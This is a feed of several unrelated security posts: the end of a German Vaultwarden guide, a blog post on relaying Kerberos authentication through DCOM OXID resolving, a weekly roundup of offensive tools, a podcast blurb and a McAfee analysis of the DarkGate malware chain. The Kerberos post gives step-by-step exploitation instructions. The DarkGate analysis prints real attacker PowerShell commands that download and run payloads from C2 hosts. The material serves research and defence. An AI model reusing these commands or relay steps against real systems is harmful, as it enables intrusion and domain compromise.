Hier sehen wir den Punkt „Members

Hierrüber können wir nun über „+ Invite member“ unsere Kollegen hinzufügen und einstellen, welche Berechtigungen sie haben dürfen.

Nun müssen wir noch den eingeladenen Nutzer auswählen und bestätigen:

1.6      Sammlung innerhalb einer Organisation

Wenn wir eine neue Sammlung innerhalb einer Organisation erstellen wollen, können wir das wie folgt machen:

Wir klicken auf unsere „Organisation“ und auf „New“, hier wählen wir nun „Collection“

Diese Kollektion können wir nun benennen, z.B. „Papier Beschaffungs-Accounts“

Unter Access können wir die Mitarbeiter zu den Zugangsdaten berechtigen, welche sie brauchen.

Wichtig anzumerken ist, dass nur der Ersteller der Organisation eine neue Collection erstellen kann.

1.7      Enforce MFA

Um den Login zu den Passwörtern sicherer zu machen, können wir MFA (Multi Faktor Authentication) verpflichtend einführen. Hierfür müssen wir in dem Account, in dem wir die Organisation verwalten, auf „Organizations“ klicken und anschließend zu „Settings“>“Policies“>“Require two-step login“ navigieren.

Hier klicken wir nun „Turn on“ und anschließend „Save“

1.7.1    Aktivierung MFA

Wenn Nutzer nun diese Organisation nutzen wollen, müssen sie MFA bei sich aktiviert haben. Hierfür müssen Sie zunächst auf den Haken neben Ihrem Account-Icon klicken.

Dann in Ihre Account Einstellungen:

Hier dann zu „Security“>“Two-step login“>“Authenticator app“

Nun geben wir unser Account-Passwort ein und klicken auf „Continue“

Hier müssen wir jetzt mit einer Authenticator-App unserer Wahl den QR-Code abscannen und den daraus generierten OTP-Token eingeben.

Nun kann der Mitarbeiter die Organisation wieder nutzen, welche zuvor MFA eingeführt hat.

1.8      Registrierung nur für Interne

Als Administrator können wir einstellen, dass sich keine Dritten registrieren dürfen.
Hierfür müssen wir im Admin-Panel das folgende einstellen:

Wir klicken zunächst auf „Settings“ und anschließend auf den Unterpunkt „General settings“

Hier entfernen wir dann bei dem Punkt „Allow new signups“ das „Häkchen“

1.8.1    Nutzer einladen

Da wir das selbst Registrieren deaktiviert haben, müssen wir nun Nutzer händisch einladen. Das funktioniert im Admin-Panel unter „Users“ und „Invite User“

Wenn wir hier nun Nutzer einladen, können sich diese registrieren.

1.9      Automatisches Ausfüllen auf Website

Wenn wir auf einer Website mit einem Login sind, den wir uns schon zuvor als Eintrag angelegt haben, können wir den Login automatisch ausfüllen lassen.

Wenn wir in das Login Fenster bei z.B. LinkedIn klicken und dann auf unsere Browser Extension, müssen wir nur auf den entsprechenden Eintrag klicken, um ihn automatisch ausfüllen zu lassen:

1.10       Übermittlung von Dateien

Eine weitere, sehr nützliche Funktion von Vaultwarden ist, dass wir Dateien bis zu einer Größe von 500MB teilen können.

Hierfür klicken wir in unserer Übersicht auf „Send“ > „+ New Send“

Hier können wir dem Upload einen Namen geben und eine Datei zum Teilen wählen.

Unter „Options“ haben wir noch weitere Einstellungsoptionen, wie z.B., dass nach einer gewissen Zeit der Link zur teilenden Datei abläuft.

Über „Copy Send link“ können wir diese Datei nun mit z.B. Kollegen teilen.

1.11       Fazit

Wir hoffen, diese Anleitung hilft Ihnen weiter. Für weitere Informationen wie z.B. Nutzerverwaltung empfehlen wir die offizielle Seite von Bitwarden, da die Anleitungen gut verständlich sind und die Einstellungen, die hier vorgenommen werden können, auch auf unseren Vaultwarden übertragbar sind.

Der Beitrag Mastering Security: Wie nutze ich Vaultwarden? erschien zuerst auf HanseSecure GmbH.

Relaying Kerberos Authentication from DCOM OXID Resolving

By: tiraniddo
30 April 2024 at 01:08

Recently, there's been some good research into further exploiting DCOM authentication that I initially reported to Microsoft almost 10 years ago. By inducing authentication through DCOM it can be relayed to a network service, such as Active Directory Certificate Services (ADCS) to elevated privileges and in some cases get domain administrator access.

The important difference with this new research is taking the abuse of DCOM authentication from local access (in the case of the many Potatoes) to fully remote by abusing security configuration changes or over granting group access. For more information I'd recommend reading the slides from Tianze Ding Blackhat ASIA 2024 presentation, or reading about SilverPotato by Andrea Pierini.

This short blog post is directly based on slide 36 of Tianze Ding presentation where there's a mention on trying to relay Kerberos authentication from the initial OXID resolver request. I've reproduced the slide below:

Slide 36 from the Blackhat Asia presentation, discussing Kerberos relay from the ResolveOxid2 call.
The slides says that you can't relay Kerberos authentication during OXID resolving because you can't control the SPN used for the authentication. It's always set to RPCSS/MachineNameFromStringBinding. While you can control the string bindings in the standard OBJREF structure, RPCSS ignores the security bindings and so you can't specify the SPN unlikely with the an object RPC call which happens later.

This description intrigued me, as I didn't think this was true. You just had to abuse a "feature" I described in my original Kerberos relay blog post. Specifically, that the Kerberos SSPI supports a special format for the SPN which includes marshaled target information. This was something I discovered when trying to see if I could get Kerberos relay from the SMB protocol, the SMB client would call the SecMakeSPNEx2 API, which in turn would call CredMarshalTargetInfo to build a marshaled string which appended to the end of the SPN. If the Kerberos SSPI sees an SPN in this format, it calculates the length of the marshaled data, strips that from the SPN and continues with the new SPN string.

In practice what this means is you can build an SPN of the form CLASS/<SERVER><TARGETINFO> and Kerberos will authenticate using CLASS/<SERVER>. The interesting thing about this behavior is if the <SERVER><TARGETINFO> component is coming from the hostname of the server we're authenticating to then you can end up decoupling the SPN used for the authentication from the hostname that's used to communicate. And that's exactly what we got here, the MachineNameFromStringBinding is coming from an untrusted source, the OBJREF we specified. We can specify a machine name in this special format, this will allow the OXID resolver to talk to our server on hostname <SERVER><TARGETINFO> but authenticate using RPCSS/<SERVER> which can be anything we like.

There are some big caveats with this. Firstly, the machine name must not contain any dots, so it must be an intranet address. This is because it's close to impossible to a build a valid TARGETINFO string which represents a valid fully qualified domain name. In many situations this would rule out using this trick, however as we're dealing with domain authentication scenarios and the default for the Windows DNS server is to allow any user to create arbitrary hosts within the domain's DNS Zone this isn't an issue.

This restriction also limits the maximum size of the hostname to 63 characters due to the DNS protocol. If you pass a completely empty CREDENTIAL_TARGET_INFORMATION structure to the CredMarshalTargetInfo API you get the minimum valid target information string, which is 44 characters long. This only leaves 19 characters for the SERVER component, but again this shouldn't be a big issue. Windows component names are typically limited to 15 characters due to the old NetBIOS protocol, and by default SPNs are registered with these short name forms. Finally in our case while there won't be an explicit RPCSS SPN registered, this is one of the service classes which is automatically mapped to the HOST class which will be registered.

To exploit this you'll need to do the following steps:

  1. Build the machine name by appending the hostname for for the target SPN to the minimum string 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA. For example for the SPN RPCSS/ADCS build the string ADCS1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA. 
  2. Register the machine name as a host on the domain's DNS server. Point the record to a server you control on which you can replace the listening service on TCP port 135.
  3. Build an OBJREF with the machine name and induce OXID resolving through your preferred method, such as abusing IStorage activation.
  4. Do something useful with the induced Kerberos authentication.

With this information I did some tests myself, and also Andrea checked with SilverPotato and it seems to work. There are limits of course, the big one is the security bindings are ignored so the OXID resolver uses Negotiate. This means the Kerberos authentication will always be negotiated with at least integrity enabled which makes the authentication useless for most scenarios, although it can be used for the default configuration of ADCS (I think).

Last Week in Security (LWiS) - 2024-04-29

By: Erik
30 April 2024 at 03:59

Last Week in Security is a summary of the interesting cybersecurity news, techniques, tools and exploits from the past week. This post covers 2024-04-22 to 2024-04-29.

News

Techniques and Write-ups

Tools and Exploits

  • GoogleRecaptchaBypass - Solve Google reCAPTCHA in less than 5 seconds! 🚀
  • ASPJinjaObfuscator - Heavily obfuscated ASP web shell generation tool.
  • ja4tscan - JA4TScan is an active TCP server fingerprinting tool.
  • tiny-gpu - A minimal GPU design in Verilog to learn how GPUs work from the ground up.
  • AutoAppDomainHijack - Automated .NET AppDomain hijack payload generation.
  • ReadWriteDriverSample - Sample driver + user component to demonstrate writing into arbitrary process memory from Kernel via CR3 manipulation (opposed to the usual KeStackAttachProcess API).
  • PartyLoader - Threadless shellcode injection tool.
  • 24h2-nt-exploit - Exploit targeting NT kernel in 24H2 Windows Insider Preview.

New to Me and Miscellaneous

This section is for news, techniques, write-ups, tools, and off-topic items that weren't released last week but are new to me. Perhaps you missed them too!

  • ics-forensics-tools - Microsoft ICSpector (ICS Forensics Tools framework) is an open-source forensics framework that enables the analysis of Industrial PLC metadata and project files.
  • Evidence Collection Environment - This environment is intended to be useful for when you have multiple investigators or external parties adding data for evaluation. Some key features (hopefully) implemented in this setup leverage the Azure Storage legal hold, Azure Storage analytics logging for validation of access by which parties, Azure Key Vault logging with the logs going to a Log Analytics workspace in the resource group.
  • DLHell - Local & remote Windows DLL Proxying.
  • MS-DOS - The original sources of MS-DOS 1.25, 2.0, and 4.0 for reference purposes.
  • cdncheck - A utility to detect various technology for a given IP address.
  • CloudInject - This is a simple tool which can be used to inject a DLL into third-party AD connectors to harvest credentials.

Techniques, tools, and exploits linked in this post are not reviewed for quality or safety. Do your own research and testing.

Careers in operational technology: What does a security risk assessor do? | Guest Donovan Tindill

By: Infosec
29 April 2024 at 18:00

Today on Cyber Work, we continue our deep dive into industrial control systems and operational technology security by talking with Donovan Tindill of DeNexus. Now, I’m just going to come out and say it: Tindill's episode is like a cybersecurity career seminar in a box, and a must-not-miss if you’re interested in not just ICS and OT security, but specifically the realm of Risk Assessment. Tindill brought slides and literally lays out his entire career for us to see, including the highs and even some of the lows, and what he learned from them. He explains the fuzzy distinctions between ICS security and the act of determining risk for said systems, gives us a 60 year history of the increasing attack surface and number or risk types associated with operational technology, and gives us tons of great career advice and ways to get started.

0:00 - Careers in operational technology
2:01 - Donovan Tindill's interest in tech
5:30 - Tindill's career roles in cybersecurity
10:42 - The jump to a supervision role
13:19 - Average day for a director of OT cybersecurity
18:39 - Volunteerism with Public Safety Canada
22:57 - Tindill's talk on active directory a decade later
23:43 - Current operational technology challenges
29:26 - New SEC regulations
33:54 - Thoughts on the SEC regulations
35:37 - How to work in OT, ICS or risk assessment
40:34 - Skill gaps for OT, ICS and risk management
42:44 - Tindill's favorite work
45:36 - Best cybersecurity career advice
48:22 - What is DeNexus?
52:22 - Learn more about Tindill and DeNexus
53:22 - Outro

– Get your FREE cybersecurity training resources: https://www.infosecinstitute.com/free
– View Cyber Work Podcast transcripts and additional episodes: https://www.infosecinstitute.com/podcast

About Infosec
Infosec’s mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQ’s security awareness training. Learn more at infosecinstitute.com.

💾

The Darkgate Menace: Leveraging Autohotkey & Attempt to Evade Smartscreen

29 April 2024 at 18:09

Authored by Yashvi Shah, Lakshya Mathur and Preksha Saxena

McAfee Labs has recently uncovered a novel infection chain associated with DarkGate malware. This chain commences with an HTML-based entry point and progresses to exploit the AutoHotkey utility in its subsequent stages. DarkGate, a Remote Access Trojan (RAT) developed using Borland Delphi, has been marketed as a Malware-as-a-Service (MaaS) offering on a Russian-language cybercrime forum since at least 2018. This malicious software boasts an array of functionalities, such as process injection, file download and execution, data theft, shell command execution, keylogging capabilities, among others. Following is the spread of DarkGate observed in our telemetry for last three months:

Figure 1: Geo-Distribution of DarkGate

DarkGate’s attempt to bypass Defender Smartscreen

Additionally, DarkGate incorporates numerous evasion tactics to circumvent detection. DarkGate notably circumvented Microsoft Defender SmartScreen, prompting Microsoft to subsequently release a patch to address this vulnerability.

In the previous year, CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) was identified and subsequently patched https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 . CVE-2023-36025 is a vulnerability impacting Microsoft Windows Defender SmartScreen. This flaw arises from the absence of proper checks and corresponding prompts related to Internet Shortcut (.url) files. Cyber adversaries exploit this vulnerability by creating malicious .url files capable of downloading and executing harmful scripts, effectively evading the warning and inspection mechanisms of Windows Defender SmartScreen. This year, same way, CVE-2024-21412 (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21412 ) was identified and patched. This vulnerability is about “Internet Shortcut Files Security Feature Bypass Vulnerability”.

Infection Chain

McAfee Labs has identified two distinct initial vectors carrying identical DarkGate shellcode and payload. The first vector originates from an HTML file, while the second begins with an XLS file. We will delve into each chain individually to unveil their respective mechanisms. Below is the detailed infection chain for the same:

Figure 2: Infection Chain

Infection from HTML:

The infection chain initiates with a phishing HTML page masquerading as a Word document. Users are prompted to open the document in “Cloud View” (shown in the figure below), creating a deceptive lure for unwitting individuals to interact with malicious content.

Figure 3: HTML page

Upon clicking “Cloud View,” users are prompted to grant permission to open Windows Explorer, facilitating the subsequent redirection process.

Figure 4: Prompt confirming redirection to Windows Explorer

Upon granting permission and opening Windows Explorer, users encounter a file depicted within the Windows Explorer interface. The window title prominently displays “\\onedrive.live.com,” adding a veneer of legitimacy to the purported “Cloud View” experience.

Figure 5: Share Internet Shortcut via SMB

In our investigation, we sought to trace the origin of the described phishing scheme back to its parent HTML file. Upon inspection, it appears that the highlighted content in the image may be a string encoded in reverse Base64 format. This suspicion arises from the presence of a JavaScript function (shown in the figure below) designed to reverse strings, which suggests an attempt to decode or manipulate encoded data.

Figure 6: Javascript in HTML code

On reversing and base64 decoding the yellow highlighted content in Figure 6, we found:

Figure 7: WebDAV share

The URL utilizes the “search-ms” application protocol to execute a search operation for a file named “Report-26-2024.url”. The “crumb” parameter is employed to confine the search within the context of the malicious WebDAV share, restricting its scope. Additionally, the “DisplayName” element is manipulated to mislead users into believing that the accessed resource is associated with the legitimate “onedrive.live.com” folder, thereby facilitating deception.

Hence, the presence of “onedrive.live.com” in the Windows Explorer window title is a direct consequence of the deceptive manipulation within the URL structure.

The file is an Internet Shortcut (.url) file, containing the following content:

Figure 8: content of .URL file

The .url files serve as straightforward INI configuration files, typically consisting of a “URL=” parameter indicating a specific URL. In our scenario, the URL parameter is defined as follows: URL=file://170.130.55.130/share/a/Report-26-2024.zip/Report-26-2024.vbs.

Upon execution of the .url file, it will initiate the execution of the VBScript file specified in the URL parameter. This process allows for the automatic execution of the VBScript file, potentially enabling the execution of malicious commands or actions on the system.

The vulnerability CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) pertains to Microsoft Windows Defender SmartScreen failing to issue a security prompt prior to executing a .url file from an untrusted source. Attackers exploit this by constructing a Windows shortcut (.url) file that sidesteps the SmartScreen protection prompt. This evasion is achieved by incorporating a script file as a component of the malicious payload delivery mechanism. Although Microsoft has released a patch https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 to address this vulnerability, it remains exploitable in unpatched versions of Windows.

If your system is not patched and updated, you will not see any prompt. However, if your system is updated, you will encounter a prompt like:

Figure 9: SmartScreen prompt

On allowing execution, the vbs file is dropped at C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29. This file will run automatically on execution of url file and we get the following process tree:

Figure 10: Process tree

Following are the command lines:

  • “C:\Windows\System32\WScript.exe” “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”
    • “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘withupdate.com/zuyagaoq’)
      • \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      • “C:\rjtu\AutoHotkey.exe” C:/rjtu/script.ahk
      • “C:\Windows\system32\attrib.exe” +h C:/rjtu/

The sequence of commands begins with the execution of the VBScript file located at “C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\U4IRGC29\Report-26-2024[1].vbs”. This VBScript subsequently utilizes PowerShell to execute a script obtained from the specified URL (‘withupdate.com/zuyagaoq’) via the Invoke-RestMethod cmdlet. Upon executing the downloaded script, it proceeds to command and execute the AutoHotkey utility, employing a script located at the designated path (C:/rjtu/script.ahk). Subsequently, the final command utilizes the attrib tool to set the hidden attribute (+h) for the specified directory (C:/rjtu/).

Inspecting the URL “withupdate.com/zuyagaoq” explicitly allows for a detailed understanding of the infection flow:

Figure 11: Remote Script on the C2

This URL leads to a script:


Figure 12: Remote Script content
Reformatting, we get:

Figure 13: Remote script content

Explanation of the script:

  • ni ‘C:/rjtu/’ -Type Directory -Force: This command creates a new directory named “rjtu” in the root of the C drive if it doesn’t already exist.
  • cd ‘C:/rjtu/’: This changes the current directory to the newly created “rjtu” directory.
  • Invoke-WebRequest -Uri “http://withupdate.com/oudowibspr” -OutFile ‘C:/rjtu/temp_AutoHotkey.exe’: This command downloads a file from the specified URL and saves it as “temp_AutoHotkey.exe” in the “rjtu” directory.
  • Invoke-WebRequest -Uri “http://withupdate.com/rwlwiwbv” -OutFile ‘C:/rjtu/script.ahk’: This downloads a file named “script.ahk” from another specified URL and saves it in the “rjtu” directory.
  • Invoke-WebRequest -Uri “http://withupdate.com/bisglrkb” -OutFile ‘C:/rjtu/test.txt’: This downloads a file named “test.txt” from yet another specified URL and saves it in the “rjtu” directory.
  • start ‘C:/rjtu/AutoHotkey.exe’ -a ‘C:/rjtu/script.ahk’: This command starts the executable “AutoHotkey.exe” located in the “rjtu” directory and passes “script.ahk” file as an argument.
  • attrib +h ‘C:/rjtu/’: This sets the hidden attribute for the “rjtu” directory.

Checking “C:/rjtu”:

Figure 14: Dropped folder

AutoHotkey is a scripting language that allows users to automate tasks on a Windows computer. It can simulate keystrokes, mouse movements, and manipulate windows and controls. By writing scripts, users can create custom shortcuts, automate repetitive tasks, and enhance productivity.

To execute an AutoHotkey script, it is passed as a parameter to the AutoHotkey executable (autohotkey.exe).

Following is the ahk script file content:

Figure 15: Content of .ahk script

There are a lot of comments added in the script, simplifying the script, we get:

Figure 16: .ahk script after removing junk

This script reads the content of “test.txt” into memory, allocates a memory region in the process’s address space, writes the content of “test.txt” as hexadecimal bytes into that memory region, and finally, it executes the content of that memory region as a function. This script seems to be executing instructions stored in “test.txt”.

Now, it’s confirmed that the shellcode resides within the contents of “test.txt”. This is how the text.txt appears:

Figure 17: Content of test.txt

We analyzed the memory in use for Autohotkey.exe.


Figure 18: Memory of running instance of AutoHotKey.exe
We dumped the memory associated with it and found that it was the same as the content in test.txt.

Figure 19: Memory dump of running AutoHotKey.exe same as test.txt

This is the shellcode present here.  The first 6 bytes are assembly instructions:

Figure 20: Shellcode A in the beginning

Following the jump instructions of 3bf bytes, we reach the same set of instructions again:

Figure 21: Same Shellcode A after jump

This means another jump with be taken for another 3bf bytes:

Figure 22: Same Shellcode A one more time

We have encountered same set of instructions again, taking another jump we reach to:

Figure 23: New Shellcode B found next.

These bytes are again another shellcode and the region highlighted in yellow(in the figure below) is a PE file. The Instruction pointer is not at the PE currently. This shellcode needs to be decoded first.

Figure 24: Shellcode B followed by PE file highlighted

This shellcode suggests adding 71000 to the current offset and instruction pointer will be at the new location. The current offset is B3D, adding 71000 makes it 71B3D. Checking 71B3D, we get:

Figure 25: After debugging found next Shellcode C

This is again now one more set of instructions in shellcode. This is approximately 4KB in size and is appended at the end of the file.

Figure 26: Shellcode C directing to entry point of the PE file

Upon debugging this code, we figured out that in marked “call eax” instruction, eax has the address of the entry point of the final DarkGate payload. Hence this instruction finally moves the Instruction Pointer to the entry point of the PE file. This goes to the same region marked in yellow in Figure 24.

This is the final DarkGate payload which is a Delphi-compiled executable file:

Figure 27: Darkgate payload.

Upon this, we see all the network activity happening to C2 site:

Figure 28: Network Communication

Figure 29: C2 IP address

The exfiltration is done to the IP address 5.252.177.207.

Persistence:

For maintaining persistence, a .lnk file is dropped in startup folder:

Figure 30: Persistence

Content of lnk file:

Figure 31: Content of .lnk used for persistence

The shortcut file (lnk) drops a folder named “hakeede” in the “C:\ProgramData” directory.

Figure 32: Folder dropped in “C:\ProgramData”

Inside this folder, all the same files are present:

Figure 33: Same set of files present in dropped folder

Again, the ahk file is executed with the help of Autohotkey.exe and shellcode present in test.txt is executed. These files have the same SHA256 value, differing only in their assigned names.

Infection from XLS:

The malicious excel file asks the user to click on “Open” to view the content properly.

Figure 34: XLS sample

Upon clicking on “Open” button, user gets the following prompt warning the user before opening the file.

Figure 35: XLS files trying to download and run VBS file

For our analysis, we allowed the activity by clicking on “OK”. Following this we got the process tree as:

Figure 36: Process tree from Excel file

The command lines are:

  • “C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE” “C:\Users\admin\Documents\Cluster\10-apr-xls\1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4.xlsx”
    • “C:\Windows\System32\WScript.exe” “\\45.89.53.187\s\MS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs”
      • “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘103.124.106.237/wctaehcw’)
        • \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        • “C:\kady\AutoHotkey.exe” C:/kady/script.ahk
        • “C:\Windows\system32\attrib.exe” +h C:/kady/

The file it gets from “103.124.106[.]237/wctaehcw” has the following content:

Figure 37: Remote script simliar to previous chain

From this point onward, the infection process mirrors the previously discussed chain. All three files, including AutoHotKey.exe, a script file, and a text file, are downloaded, with identical artifacts observed throughout the process.

Mitigation:

  • Verify Sender Information
  • Think Before Clicking Links and Warnings
  • Check for Spelling and Grammar Errors
  • Be Cautious with Email Content
  • Verify Unusual Requests
  • Use Email Spam Filters
  • Check for Secure HTTP Connections
  • Delete Suspicious Emails
  • Keep Windows and Security Software Up to date

Indicators of Compromise (IoCs):

File Hash
Html file 196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005
URL file 2b296ffc6d173594bae63d37e2831ba21a59ce385b87503710dc9ca439ed7833
VBS 038db3b838d0cd437fa530c001c9913a1320d1d7ac0fd3b35d974a806735c907
autohotkey.exe 897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
AHK script dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455
test.txt 4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795
DarkGate exe 6ed1b68de55791a6534ea96e721ff6a5662f2aefff471929d23638f854a80031
IP 5.252.177.207
XLS file 1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4
VBS 2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f
LNK file 10e362e18c355b9f8db9a0dbbc75cf04649606ef96743c759f03508b514ad34e
IP 103.124.106.237

Table 1: IOC table

The post The Darkgate Menace: Leveraging Autohotkey & Attempt to Evade Smartscreen appeared first on McAfee Blog.

❌
❌